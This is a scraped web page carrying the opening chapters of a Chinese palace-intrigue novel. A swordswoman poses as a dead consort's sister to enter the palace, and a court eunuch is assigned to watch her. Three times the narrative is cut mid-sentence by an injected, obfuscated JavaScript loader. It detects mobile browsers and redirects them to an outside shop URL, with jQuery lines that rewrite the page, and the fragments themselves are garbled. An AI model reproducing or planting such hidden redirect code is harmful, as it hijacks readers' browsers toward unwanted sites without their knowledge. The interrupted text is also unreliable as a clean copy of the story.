《公公接招吧》 1. 替嫁入宫 风。 刀一般的风从黄河浊浪上袭来,绞透衣衫。 一红一蓝两道人影矗立在河岸渡口。 “你不该来。” “可我已经来了。” “你快走,还来得及。” “我走了,你呢?” “官家圣旨召我入宫,抗旨乃是死路一条。” “不抗旨,便能活么?柳娘已经没了,你万万不可再以身涉险。” “可我想去!姐姐死得不明不白,我要知道究竟是谁害死了她!她死时还怀有龙嗣,报喜的信前脚刚送到,后脚死讯便进了门……什么谋害宫人、畏罪自戕的鬼话,我绝不相信!” “我也不信,所以我要去亲眼瞧一瞧。有冤报冤,有仇报仇,叫柳娘安息才好。” “不行!屠家只余下你一人了,你若再出事,我、我……总之就是不行!我虽笨了些,可有的是耐心,一年不行就两年,八年不行就十年,总有查清真相的那日。” “入了宫,你要如何查呢?凭你三脚猫的功夫,还是凭你‘缜密过人’的心思呢?” “我……我自有办法!常言道,有钱能使鬼推磨。银子我有的是,收买宫人,为我所用,还不简单?” “你的确有钱。可比之周家、杨家呢?” “那倒是差了些。” “若是有人杀你呢?” “我有功夫,自是不怕。” “你的确有功夫。可比之龙禁军呢?” “师尊,你不信我。” “我只是太了解你。” “总之,我意已决,你不必为我如此!” “我不是为你。” “那你为了什么?” “一个承诺,我与柳娘的承诺。我也有自己的恩怨要了结。” “你们何时有的承诺,怎的不告诉我?” “大人的事,告诉你一个小孩子家做什么?我单问你,你走了,他呢?他已跟了一路了。” “我……我和他今生有缘无份,来世再做夫妻罢。” “他不会走的,他会一路追进京城,杀入皇宫,将你直接抢出来。到时死的可不只是你了。” “我……” “你劝得动他吗?” “我……” “你劝不动他,当然也劝不动我。天使已到对岸,过了河,我便是万棠,不会叫人瞧出破绽的。” “可你并不姓万,也并非罪臣的女儿。我们本就毫不相干,何苦为此搭上性命呢……区区十两银子,你早就还清了!” “你说区区,自是因为与我的性命相比,十两银子不值一提。可那十两换了我一条右臂,两年安稳。是以我一命抵十两,值得,应得,也使得。” “师尊!” “你成亲我不便亲至,这把剑便算作贺礼了。恭喜,珍重。” “师尊,我在南启等你,你一日不归,我便一日不成亲。” “师尊……” “师尊!” 红衣一闪,那人已然落在小舟之上。 她倚靠船舷,视线投至水面。 涣涣秋水,滚滚浪涛,茫茫雾霭,倏忽间幻化成满天秋叶中的一袭白裙—— “哪里来的乞丐,怎么倒在我家后院?醒醒,喂,醒醒!” “一股子血腥气,臭死人了……来人,快把她捉去洗一洗,再唤个郎中来瞧一瞧,可别叫人死在万家了,传出去像什么话!” “我不要护院,你长得这样俊俏,给我作护院,旁人是看你还是看我啊?” “不过十两银子,权当赏你的就是了。要谢就谢你爹娘,将你生得与我妹妹有几分相似,合了我的眼缘,否则……哼,我连正眼都不会瞧你一眼!” “你懂什么,我入宫为妃,这是天大的荣耀,旁人求之不得的喜事呢!” “这可是你说的,替我看好了棠娘,别叫旁人欺负了去。” “别教她砍砍杀杀的,日后她嫁不出去,我可饶不了你!” “告辞了,不必送!” 红衣女子举起酒杯,在半空中遥遥一递,似是与雾中幻影隔空对饮。 片刻,她手腕一翻,酒液化作一条晶亮的细丝,盈盈跌入江中。 - 奉乐九年秋,周、魏两国陈兵于云朔关下。 魏军悍勇,周军坚韧,鏖战数月,尸骨盈野,却始终未分高下。 阵前乱军之中,魏长史蔺元诲堕马被俘,押入京城。 周真宗亲见蔺元诲,非但不辱,反而亲解其缚,赐座阶前,以国士之礼待之。 蔺元诲感恩涕零,泣血为报,数月间,以魏国军机情报密告,助周军连下三城。 消息传回魏国,魏帝震怒,诏斩蔺氏满门,曝尸阵前。 十年仲冬,蔺元诲再上血书。 称唐王殷准暗通魏臣,纠集江湖草莽,意图裂土卖国、谋逆篡位,并呈上一份涉案名单。 书中所列,上至一品王侯,下至九品校尉,共二十七人。 真宗阅罢,雷霆震怒,着有司彻查此案。 次月,唐王被废为庶人。 二十一人抄没家产,论罪伏法,剐者三百余,徒流者甚众,女眷、幼童尽没教坊司。 血自冬至流到了翌年元月十四。 独柳树青石板上的积血与上元节的琉璃灯山、锦绣旌旗上下相映,连成红红的一片。 后经查,蔺元诲乃是魏帝的棋子。 一出周瑜打黄盖,骗得周室君臣离心,朝局动荡,国力大损。魏帝更是兵不血刃,夺走朔、雁二州。 蔺元诲虽被枭首示众,唐王却早已撞柱而亡,数百冤死亡魂亦未得昭雪。 此事便如同一页落入泥潭的书,纵然被人小心拾起、费力抚平,那褶皱间浸藏的血泪也再难拭去了。 在蔺元诲的名单上,缀着这样一个名字——兵部职方司六品主事张游方。 他的品级不高也不低,恰好够得上去大光殿开朝会的门槛,得以遥遥瞻仰官家的半个下巴。 但他所司之职却不简单,其掌天下舆图、关隘兵备,与两国战局有着千丝万缕的联系。 遭此无妄之灾,张游方未等出审便惊厥而亡。其妻女为免入教坊司,双双自尽。 独留一子,为一江湖侠士所救,不知所踪。 若按照寻常故事,此子身负血海深仇,又逢绝境生机,日后必有一番惊天动地的际遇,故事也合该以他为主角。 可惜,张游方的儿子与往后的故事无关,章简也并没有当英雄的命数。 彼时章简年方十岁,尚被唤作“张三郎”,是自乡下来张游方处打秋风的穷亲戚。 论起来,他们与张游方早已出了五服,至多算同乡,连亲戚都攀不上。 他娘早亡,爹爹在张宅谋了个帮忙赁车租马的营生。 这活儿轻省,跑个腿而已,半贯月钱并不算少,却仍不够他爹一夜豪赌,三巡烂醉。 京城居,大不易,他爹非但没有分文积蓄,反倒欠下一屁股烂债,日子竟较从前更为清苦。 赌坊酒肆初时还许赊欠,后来才知道他们压根无力偿还。看在张游方的面上,只是摆着个臭脸赶人走,还不曾打断他爹的狗腿。 他爹死性不改,东家两贯,西家半吊,南家一顿白食,北家几个碗碟…… 零零总总,竟欠了十两银子之多。 张家的楼方塌,催债的便嗅着腥味逼上门来。 可巧,张三郎他爹恰在此时吃醉了酒,跌入阴沟,死了。 于是,催债的便杀上门来,要打断张三郎的狗腿。 张三郎求道,爷爷们,家中的钱都叫我爹爹拿去换酒了,小的但凡有一文钱,哪敢不给你们?若有半句虚言,只管将我这双手剁了就是! 他的手生得极好,修长如竹,骨节分明,哪怕有一层薄茧,也不似寻常做粗活的小子一般粗糙。 杨氏脚店的“酒西施”还曾夸赞道:“三郎这双青葱玉笋,不去抚琴,不去握笔,反倒来我这里做活,真是可惜了!” 催债的不屑,将他踹倒在地,道,你的手能顶几个钱?你去张游方家中寻些值钱的物什出来,我等便饶了你。否则,便送你下大狱。 一个歪脸汉子阴恻恻地笑:“我姐夫是西城衙门的都头,保管教你竖着进去,横着出来!” 说罢,在张三郎脸上狠狠碾了一脚。 十两。 便是把他宰了论斤称也卖不上这个价。 不得不承认,这几人指的倒是条明路。 官家每年总得抄那么一两个家,那些大难临头的倒霉鬼要么提前把财物交由心腹仆役,私下运出;要么就藏在马厩、花田等隐秘之处,事后再偷偷取走。 一旦抄起家来,就没个准数了。 大头兵们先往自己口袋里划拉个尽够,才腆着肚子,支着手肘,装模作样地登记造册。 其中疏漏之处不知凡几,少个个把金钗银镯的,也无人在意。 他们认定,张三郎频频出入张宅,定有办法偷换些宝贝出来。 张三郎苦着脸道:“那宅子叫官兵围得铁桶似的,我便是有命进去,也没命出来啊!” 催债的哪管他死活,只撂下狠话,宽限三日,三日后若不见银钱,便将他送入大狱“松松皮”。 张三郎千恩万谢地应下,将人送出门去,转头坐在炕沿上,边揉脸边叹气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007985|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不还债,这些人就要逼死他;可若真去张宅偷盗,叫官兵发现,也是个死无全尸的下场。 缩头是死,伸头也是死。 难道人就只有死这一条路么? 张三郎枯坐一夜,天亮时分,有了主意。 ——他心一横,将自己卖入了宫里。 入宫也并非易事。 说是“卖”,实则还要倒贴钱。 似他这种无根无底的民间“私白”,不说一千也有上百,个个都挤破了头想要入宫。 若非宫中因“蔺元诲案”大清洗,空出许多缺来,便是再等五年也未必有机会。 宫中自是不会给私白净身的,还得自己想法子。 张三郎从炕洞里掏出积攒许久的小半贯钱,寻到城南的刀儿匠。 足足跪了两个时辰,磕得额头青紫,那刀儿匠才终于点了头,做了这桩赔本的买卖。 “你这二两肉且存在这儿,往后出了宫再来赎。” 张三郎哪里管得了那么远呢? 只歇息了个把时辰,他便揣着从张宅顺出的纸笔,一瘸一拐地赶去了内侍省设在牙行的办事处。 经办的供奉太监验过他的身契,将眼皮懒懒掀起一半,问:“你可识字?” 张三郎点头:“自然识得。” 他说得毫不心虚,当真如同饱读诗书、精通笔墨一般。 供奉太监鼻头一扬,叫他写两个字瞧瞧。 他不敢用那金贵的笔墨,自怀中取出纸笔,摊开纸,舔了笔,一笔一划,写下从一到十十个数,又写下百、千、文、贯四个字,垂着手静候命运宣判。 心中一半忐忑,一半暗喜,不枉他特意揣上纸笔,当真派上了用场! 这些字,都是他从爹爹赁车的册子、赌债的欠条和杨氏脚店的水牌上看来的,看得多了,也便会写了。 他会认、会写的,仅这几个字罢了。 那供奉太监的眼皮全都掀起来了,露出发青的眼白,盯着他看了半晌,收起他的身契,提笔在名册上写下两个字—— 张三。 “准了。” 铁画银钩的笔迹叫他心头一颤。 也不知这名字还能伴我几日。 这两个字留在宫外,往后的路,再不能回头了。 入宫不久,便有内侍省的人亲自来拣选新入宫的小黄门。 那人名叫章怀恩。 章怀恩面慈,说话和气,他看过一众猴崽子,目光落在张三郎身上,问:“你方才说自己姓张,是哪个张?” 张三郎低着头,话却说得铿锵有力:“回都知,您是哪个章,我便是哪个章。” 但凡他对章怀恩的脾气了解一二,都断然说不出这等卖弄唇舌的话。 若是换个时候,只怕立时便要招来一顿板子。 可那日章怀恩恰好心情舒畅,瞧上了他这股机灵劲儿,笑道:“那你便随我姓章吧!” 话音未落,张三郎便扑通跪倒,唯恐章怀恩后悔似的,着着实实磕了三个响头。 “多谢干爹!请干爹赐名!” 自此,张三郎便成了章简。 催债的再不敢来。 西城衙门一个姓李的都头,不知怎的冲撞了上官,被当众打了十个脊杖,赶出京城。 十年下来,章怀恩凭着一件件泼天功劳,稳坐内侍省左都知的交椅,圣眷正浓,权倾朝野。 他座下义子众多,并不是每个都照拂得到,偶尔当面提点一句,便是天大的运气。 这其中,章简并非最聪慧的,亦非最貌美的,更与才华二字沾不上边。 但他却是最像章怀恩的那个,得到义父的提点也最多。 他对谁都是一团和气,脸上总挂着三分恰到好处的笑意。 旁人冷嘲热讽、弯酸嫉妒,将苦差、累差、险差推诿于他,他也从无半句怨言,欣然受之。 譬如今日。 先万淑妃的妹妹万棠奉召入宫,需着有司验引宣册。内侍省无人愿接,推来推去,便推到他的头上。 这桩差事看似寻常,实则是个烫手山芋。 宫中谁人不知,万娘娘谋害宫人之事颇多疑点,未等查清便自尽而亡。最后,因圣人一力坚持被定论为“畏罪自戕”。 这边尸骨未寒,官家便一纸御批,又召其妹星夜入宫。 是敲山震虎,还是旧情难忘? 这位新来的万家二娘子,是棋子,还是新宠? 众人不愿卷入帝后角力,又想探个虚实,于是依着旧例,将这差事甩给了章简。 章简依旧满面和气地应下,转头吩咐手下的押班太监:“听闻是个急性子,先晾晾她罢。” 2. 重逢 章简清晰地记得自己与屠骁重逢的那天。 他并没有认出她。 甚至晾了她足足四个时辰。 这一日是月底发俸的日子,章简忙得脚不沾地。 内侍省设都都知一人;左、右都知两人,各领权都知三人。 其下再设押班、供奉数人,另有殿头、黄门等太监听候差遣。 都都知一位空置。 往下,左都知章怀恩,掌随侍、人事、宫苑;右都知常怀德,掌文书、礼仪、外事。 章简这位权都知在章怀恩之下,主司人事升降、薪俸发放、酒厨医药、采买庶务。 虽不是头一号的肥差,但权力不小,是顶顶要紧的位置。 凡有权力,必有争斗。 章派和常派常年斗争不休,一群骟了的驴为着一个名为“都都知”的胡萝卜咬得你死我活、头破血流。 章简这权都知之位,不单有常派虎视眈眈,更有他的一众义兄弟们环伺左右。 因而他事必躬亲,丝毫不敢出错。 天不亮,内侍省的廊下便排起长龙。各宫各司的殿头、黄门、宫女们呵着气,揣着手,等着领取这个月的月俸。 算盘珠子噼啪作响,铜钱入袋哗哗一片,胭脂头油靡靡飘香。 待发俸结束,还要核对本月的采买账册,去御酒坊查看今秋的新酿。 至于那位新入宫的“万棠”呢? 他没有闲心去理会。 验引宣册本就不是他的活儿,他不过是个临时顶差的,好赖也怪不到他头上。 晚间,章简用过饭,换了衣裳,依例来到院中练功。 太监习武,是先朝留下来的规矩。 先帝不许禁卫入后宫,宫女又都预备成为他的枕边人,只有太监习武,才能叫他高枕无忧。 仿佛那一刀割掉的不仅是他们的肉,连扎在身子里的人性和欲望也一并斩断了。 他们可称为“人”的部分已被切下,洗净,脱水,变质,在石灰的包裹之中静静等候与主人一同葬入坟茔。 既入宫门,便为鹰犬,为喉舌,为虎伥。 再不为人。 章简所习的功法乃是大内秘传,由章怀恩亲自教导,寻常太监压根无法接触。 义兄弟中,他最肯吃苦,武学天赋也高。既为师徒,亦为父子,颇得章怀恩倚重。 练完一整套功法,静坐调息后,已是酉时末。 他带着两个押班太监,捧着宝册和金印来到掖庭西边,安置低等妃嫔的一间屋舍外。 他并未着急进去,而是静静立在门外。 屋里几人说话的声音清晰可闻。 “……那它东边便是膳房了?” “也不是。” “如此说来,皇宫里没有膳房了?” “娘子打听膳房做什么,难不成要自己去讨吃食?” “对啊,难不成坐着干等?” “来时司仪没与你讲过宫规吗?凡膳食,皆由尚食局按例供给,分时而食,不得擅取,不得偏食,不得逾制。官家都未曾用膳,哪里还轮得到你?” “是吗?那你身上这鸭油味是哪里来的?嗯……还有甘草和葱味。” “娘子话未免太多了些,待你封了娘娘,再来盘问我罢。” “连问你话也不行,这又是哪里来的道理?难不成也是宫规么?” “自然。宫规中言:宫人见内职,品高者,不论有无位号,皆须行礼,违者杖十。娘子如今无品,若真论起来,还要与我们行礼呢!女戒亦有言,妇言,不必辩口利辞。娘子整日舞刀弄棒的,想来没人教过这些吧?” 里头的是尚宫局的司记、司言两位女官,态度并不和善。 自太祖开国以来,还未曾出现过宫妃谋害高品级女官的丑闻。因此,先万淑妃害死司药女官一事在六局中引起了极大的震恸。 另有传闻道,这位万二娘子比她的姐姐更粗鄙无状,一时间众人皆对此人颇有恶感。 这两位女官也是如此。 本还想着,若这万二娘子是个谨慎恭敬的,她们也不好随意迁怒。 可如今一看,这人较她姐姐有过之而无不及。 一样的无知、一样的放肆! 章简立在门口,听到里头你一言、我一语,女官们冷声嘲讽,万棠淡然回击,心中不觉发笑。 这万二娘子当真是个蠢笨的,非要逞这一时口舌之快,入宫第一日就得罪了女官,往后可有的好戏看了。 他正想着,便听里头传来痛呼。 “哎哟!” 接着是重物摔在地上的声音,伴随着木材断裂的声响。 “你、你你……” 女官被气得说不出话,连连气喘,若非宫规森严和礼仪教养,她此刻便要扑上去决一死战了。 “这位、这位……该称呼嬷嬷吗?你怎的坐到地上了?我也没用力啊……” 回答的语气茫然无辜,顿了顿,又恍然大悟道,“我惯会舞刀弄棒,一时没收住力气。况且你们方才也说了,我如今并未册封,不算宫人,宫规也管不到我头上。我自去膳房寻些吃食就是。” “好,好,好一副伶牙俐齿!二娘子可是觉得得了官家宠爱,便可不顾礼法,如此猖狂?你今日对我等这般也就罢了,须知宫深似海,日后有你后悔的时候!” “借你吉言。” “……” “不让?那我只好翻窗了。” “回来!你还真敢走?” 耳听得那人要闯出来,章简看足了戏,向身后的太监丢去一个眼神。 那太监领命,抬手在门上叩了两下,扬声道:“内侍省权都知章简前来宣册,请万氏出来接旨。” 里头一时没有声音。 片刻后,门唰地一下打开了。 两位女官慌忙迎了出来。 本以为来的不过是个押班太监,她们也好狠狠地告上一状,谁曾想来的竟是章简。 章怀恩乃是官家的近身随侍,就连宫妃都要尊上一声“章伴”。 章简是他最得意的义子,又掌管着宫人的俸禄、升迁、衣食住行,平日里虽和声细语,自带笑面,却无人敢轻易小瞧了他。 看这模样,他明显在外头待了许久了,定是将方才的争吵都听去了,两女官又是尴尬又是羞愤,垂着手立在门旁,不敢再翻弄唇舌。 那方才被推倒的司记女官屁股还疼着呢,却勉力将腰背绷得笔直,道:“见过章都知,方才是我二人失态,请都知责罚。” 章简的视线跃过门槛,停在屋内。 掌灯时分,屋内的烛火并不明亮。 屏风的影子斜斜投下,亮暗分明的直线延至房间深处,陡然弯折,在宫装的裙摆上切出一片剪影。 章简拢着手,板着脸,声音没什么起伏。 “蠢货,此处乃是皇宫重地,吵吵嚷嚷的,与市井泼皮有什么分别?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007986|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他难得有疾言厉色的时候,这话虽未指名道姓,却如同冰锥一般将人钉在地上。 两位女官垂着头,瞧不见章简的神色,只当他说的是自己,愈发无地自容,不敢言语。 可他那双狭长的眼,分明穿透了黑暗,直盯着那片裙摆的主人。 月白色的裙摆轻轻晃动,而后像是被风吹动的玉兰,摇曳着朝外走来。 廊下宫灯鎏金的光从她膝盖迅速向上攀,擦过腰身,掠过脖颈,最终映出了一整张脸。 章简瞧清那张脸,愣了一瞬。 这不是一个妩媚的女子。 下颌方正,唇线分明,鼻梁高挺,眉毛浓杂,带着一股蛮横的野气。 如雪卧枝头,山劈流川,雪一样的冷,山一样的坚。 她只看了他一眼,便迅速垂下眼帘,专心盯着自己的脚尖,想必是为了方才的事感到难堪。 见状,章简露出惯常温和的笑,寒暄道:“这位便是二娘子吧?当真一副好容貌,倒是不似画像上一般天真柔弱。” 若观真人,与画像有七分貌似,三分神似。 “为着今日这册文,某反复修改,务求尽善尽美,才合了官家的心意。是以耽搁了时辰,来得晚了些,还望娘子莫怪。” 两女官对视一眼,不觉心惊。 她们并不知道这册文改来改去,实际是因为帝后关于万棠的位分展开拉锯,只当官家十分宠信这位万二娘子,否则也不至于反复斟酌,还叫一位权都知亲自来宣册。 女子像模像样地行了个躬身礼,一手还隐晦地揉了下肚子,道:“多谢章都知。宣完册便能用饭了吗?” “自然。” 章简似是并不在意她的失礼,点点头,抬了抬手。 身后两名押班捧上金册、宝印。 在那两女官的示意下,女子跪下接旨。 “咨尔万氏,性资敏慧,仪度端凝…… “淑德自成,言合箴规…… “……擢自闱阃,陟于昭仪之位。授以金章紫绶,秩正二品。” 章简的声音很脆,一字一句,慢条斯理,派头十足,听来像个半大的小子故意学大人说话似的。 念罢,他将宝印奉上,又上前双手将人托起,笑道:“昭仪娘娘快请起,还望娘娘日后多多照拂才是。” 对方捧着沉甸甸的宝印,双臂不觉微微颤抖,激动得无以复加。 到底还是年纪小,不经事,初入宫便得了这样的荣宠,日后怕是尾巴要翘到天上去了吧? 章简拢起手,又道了句恭喜,便告辞离去。 两女官不敢再出错,连忙上前行礼,恭敬道: “恭喜昭仪娘娘!” “娘娘万福!” 章简的背影毫不停顿,两位女官偷眼看去,也没见他与人吩咐什么,顿时放下心来。 谁都知道章都知的脾气,若是他气在面上,当场发作,便不算真的气恼,只是骂上两句则罢了。 若他当场没发作,还好言好语地与你分说,那便是气在心里。 真到了那一步,那你可有得苦头吃了。 万昭仪的行李只几件首饰、贴身衣物,片刻便收拾妥当,只待明日迁宫。 一人去叫宫女取膳食,另一人为她细细重申了入宫后的流程,而后回尚宫局复命。 章简却没有回自己的住处。 他径直去了官家寝宫旁的一间独院,那正是章怀恩的住处。 3. 好儿子 院子不大,里头空空荡荡,只在角落里站了一棵老槐,黑漆漆的枝杈张牙舞爪,像是泼在废纸上的墨渍。 风过处,满地枯叶卷起,沙沙作响。 屋内的陈设更是简朴到了极致。 四壁皆白,雪洞似的,除了一张床、一张桌、一把椅子、一张高几,再无旁物。 桌上搁着笔墨,堆着一摞摞书,有的是武功秘法,有的则是整理的笔录心得。 不像是内侍省左都知的居所,反倒像个寒酸书生的卧房。 唯有正北的高几上摆着一尊官家赏下的金镶玉如意,玉质上乘,雕工繁复,无声地昭示着此间主人的身份。 里头传来人声。 章简拎着食盒,进去后便不再往里走,只静静守在门边。 不多时,一人自里间退出,瞥见章简,微微颔首致意,便匆匆离去。 “进来。” 章怀恩的声音响起。 他的嗓音细腻温和,如同他的面相一般慈悲和善,又如同那如意一般优雅尊贵。 里头伺候的两个小太监知道他们父子有话要说,极有眼色地躬身告退,顺手掩上了房门。 章简在门口站得久了,左腿有些发僵,迈步时不易察觉地跛了一下。 一步,两步…… 待人走到里间,来至章怀恩面前时,他的步态已恢复得与平日无异。 章怀恩就坐在桌边。 他身形肥胖,面皮光亮的得像刚出笼的馒头。下颌上精心粘着几缕假须,叫他瞧上去不那么像个阉人,倒像是个风雅的富贵文士。 没人瞧得出他已过了知天命的年纪。 他身上穿着一件绀紫色圆领素罗袍子,上头全无绣花,也无金玉装饰,只在灯火掠过时,才能瞥见那衣料上织出的福寿暗纹。 倒是与右都知常怀德的花团锦簇、环佩叮当截然相反。 章简放下食盒,躬身行礼。 “儿子拜见干爹。” 礼毕,掀开食盒,捧出一个小巧的青瓷酒瓮。 这酒瓮是双层的,里层是酒,外层注了温水,此刻还冒着氤氲的热气。 一开封,一股醇厚又清冽的香气立时弥漫开来。 初闻是菊花的清冷,细嗅之下,又有枸杞的微甜和糯米的醇香,暖融融地钻入鼻腔。 章简为章怀恩斟上一盅。 “干爹,这是御酒坊今秋新酿的东皋酒,用的是南山顶上头一茬的金丝皇菊。儿子特意讨了今年的头一瓮,请干爹润润喉。” 章怀恩拈起酒盅,置于鼻下,鼻翼翕动,闭目轻嗅。 那模样似是沉醉酒香,但章简清楚,他是在分辨酒中是否有毒。 章简的脊背愈发挺得笔直了。 半晌,章怀恩放下酒盅,为章简倒了一杯。 “谢干爹赐酒。” 章简双手接过,没有半分迟疑,仰头一饮而尽。 章怀恩这才笑道:“喝那么快做什么,牛嚼牡丹,真是暴殄天物。” 说罢,他自己也端起酒盅,慢悠悠地呷了一口。 章简这才敢笑,故意咂了咂嘴。 “儿子这等粗人,哪里品得出好坏,还不如喝碗茶汤子来得实在。” 章怀恩笑睨着他:“别以为我不知道,你房里添了许多香草鲜花,这是要效仿风流名士卧花眠柳了?你若是粗人,那我岂不成了大老粗了!” 章简心中一震。 他买香草鲜花不过是前两日的事,并未刻意遮掩,这样微不足道的小事,干爹竟还是留意到了。 他笑得开怀:“什么都瞒不过干爹。儿子前些日见膳房新来的厨娘做了些安神的香囊,便向她求了方子,想着干爹近来总是睡不安稳,打算做个香囊给您放在床头。” 章怀恩双眼弯成两道细细的缝,轻轻拍了拍章简的手背。 “还是你孝顺。” 章简不敢忘记正事。 他立在桌旁,一边为章怀恩斟酒,一边将今日万昭仪入宫后的情形细细说来。 自然,没有漏过她与女官动手的事。 章怀恩静静听着,指尖捏着酒盅,不时抿上一口。 待章简又要为他添酒时,他抬手,用两根手指轻轻压住酒瓮的边缘。 “你看人一向准,你瞧这万昭仪如何?” 章简沉吟片刻,道出八个字。 “天真机敏,野性难驯。” 章怀恩闻言,竟抚掌大笑起来。章简不知其意,只得跟着陪笑。 笑声渐歇,章怀恩的面色也跟着淡了下来。 “守静宫尚缺一名掌事太监,你意下如何?” 章简不明所以。 按宫中旧例,昭仪位属九嫔,掌事太监由一名押班担任即可。他早已有了合适的人选,也曾与干爹通过气,干爹并未有任何异议。 此刻旧事重提,必有深意。 他抬眼,只见章怀恩神色平静,双目半眯,眼底却暗藏凌厉。 章简心头凛然,连忙跪倒在地。 “儿子愿为干爹分忧!” 章怀恩没有立刻叫他起来,任由他跪了片刻,才伸出手扶起章简。 章简哪敢叫他用力,顺势起身,依旧垂首立在一旁,姿态比方才更加恭谨了。 “你可有怨言?” “能为干爹分忧,是儿子求之不得的好事,怎会有怨言?只盼儿子去了,能为干爹松松担子,叫干爹能睡个安稳觉,儿子便心满意足了。” 章怀恩捋了捋假须,心中已是十分满意,却又追问了一句: “你的职司我暂无其他人选,还由你管着。俸禄减了三成,差事却要多上一重,你当真没有怨言?” “没有。” 章简答得干脆利落,没有半分犹豫。 章怀恩这才彻底放了心。 “该叫你知道的事,我自会告诉你。现在你只须清楚,守静宫里也有常怀德的人。你此去,只须放亮了眼睛,盯好了你的主子,便是一桩功劳。” “儿子明白。” 章怀恩又问:“这万昭仪的底细,你可清楚?” 章简庆幸自己来之前做足了功课,不至于因这点小事惹干爹动怒。 “儿子略知一二。” 万昭仪名棠,年十七,比先淑妃小五岁。 奉乐十年,其伯父受蔺元诲案牵连,满门获罪。其母暴病而亡,其父流放西宁州,病死途中。 其堂兄亦在流放之列,后在西宁立了功,得以特赦,万氏姐妹俩便一直随这位堂兄定居楚州。 后万家经营船队,出海做起了香料买卖,日渐发达,如今家境颇为殷实,乃是当地有名的富绅。 万家出事时,万昭仪年方七岁,想来许多事已记不真切。 加之这些年被她姐姐和堂兄护得极好,不曾经过什么风浪,养成了骄矜天真、放纵不羁的性子。 她不喜诗书,偏好拳脚,常与府中武师在一处舞刀弄棒,亦或呼朋引伴、携鹰牵犬围猎山中。当地人或多或少都听闻过万二娘子的威名。 “你可知,我为何要你去她身边?” 后宫女子本不该有武功,一丁点武功都不该有,万昭仪是个例外。虽功夫平平,但行刺却是足矣。 官家召她入宫,必有深意。 章简思忖片刻,郑重道:“儿子会盯紧了她。” “天真之人,却又机敏,其胸中必有丘壑,不可掉以轻心。” “儿子明白。” 章简应下,躬身告退。 将要行至门边,章怀恩望着他的背影,忽的开口。 “你可还怪我?” 这话语气平平,却叫章简猛然顿住。 他平日里行走如常,可一旦站得久了、受了风寒,左腿的旧伤便会隐隐作祟,走路时便会显出跛态。 这是八年前留下的病根。 他转过身,诚惶诚恐地跪下,眼眶霎时便红了。 “干爹说的哪里话!当年若非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007987|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干爹手下留情,我哪里还有命活到今日,堂前尽孝?干爹为保全儿子,已是煞费苦心,儿子感恩尚且不及,又怎敢心生怨怼?” 章怀恩长长叹了口气:“亏得你明白我的苦心。你是我最得意的儿子,我自然是为了你好的。” 又温声叮嘱道,“明日有雨,你的腿莫要着凉。” 章简喉头哽咽,重重叩首。 直到走出那方小院,被夜里的冷风一吹,他才觉得周身的血液重新开始流动。 他想,不论干爹究竟是何盘算,自今夜起,他算是跟那位万昭仪绑在了一处。 争宠也好,斗智也罢,只要她不惹出滔天大祸牵连到自己,那便由她去。 他脑中闪过她捧着宝印时,因激动而微微颤抖的双肩,嘴角不由勾起笑。 到底还是小门小户出身,孩子心性,得了个昭仪的位分,便欢喜得不知所以。 或许,此人比他想的要好拿捏得多。 - 屠骁的确十分激动,前所未有地激动。 试问,这天下有谁见到自己的仇人不激动呢? 尤其是,这仇人的手就搭在自己的手腕上,喉咙就距离自己一尺之遥,只要稍稍用上几分内力,甚至都不需要武器,就能叫对方人头落地、血溅当场。 这叫她怎么能不激动手痒呢? 可她不能动手。 一来,她还没有查清万柳的死因,此刻出手实在难以脱身,更别提亲见万柳的尸身,送她最后一程。 二来,章简只是章怀恩座下一条狗,一个马前卒。杀他倒是容易,难的是不动声色地将这些祸害一网打尽。 因而只得先忍下来。 不过,一想到自己与仇人正处在同一片宫城里,正呼吸着同样惨淡的菊桂芬芳、沐浴着同样缟素的月光,屠骁便忍不住笑出了声。 越接近真相,越靠近危险,她反倒越是激动,油然生出一股与猛兽搏斗的紧张刺激,更有一种行路艰难、终点将至的兴奋急切。 以命相搏,不是你死,就是我亡。 总之绝不会有第三种结局。 自八年前屠家满门覆灭,她便如丧家之犬,在追杀与逃亡中苟延残喘。 若非被万柳所救,又跟着万家大郎的船队出海,改换身份,她便是死也想不到自己还有安稳的日子可过,还一过便是两年。 可偏有人不叫她安稳。 亦或者,是她心中恨火未灭,即便苟且偷生亦心有不甘,冥冥中引起了神佛注意,将因果的筹码又往回轻轻拨动。 万柳的死讯刚至,万家便遭了贼。金银器物被翻得乱七八糟,所幸家中人丁简单,无人伤亡。 但屠骁知道,万家是再待不下去了。 再待下去,八年前的噩梦恐将再次重演。 彼时屠家方遭惨祸,屠家一位故交暗中收留了她。 那人也是名动一方的豪侠,武功称得上上乘,可不到三月,那人便在与人比武时遭了暗算,当场身亡。 